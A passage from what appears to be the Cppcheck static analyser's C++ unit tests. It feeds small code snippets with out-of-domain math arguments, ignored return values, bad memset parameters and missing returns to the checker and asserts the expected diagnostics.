std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 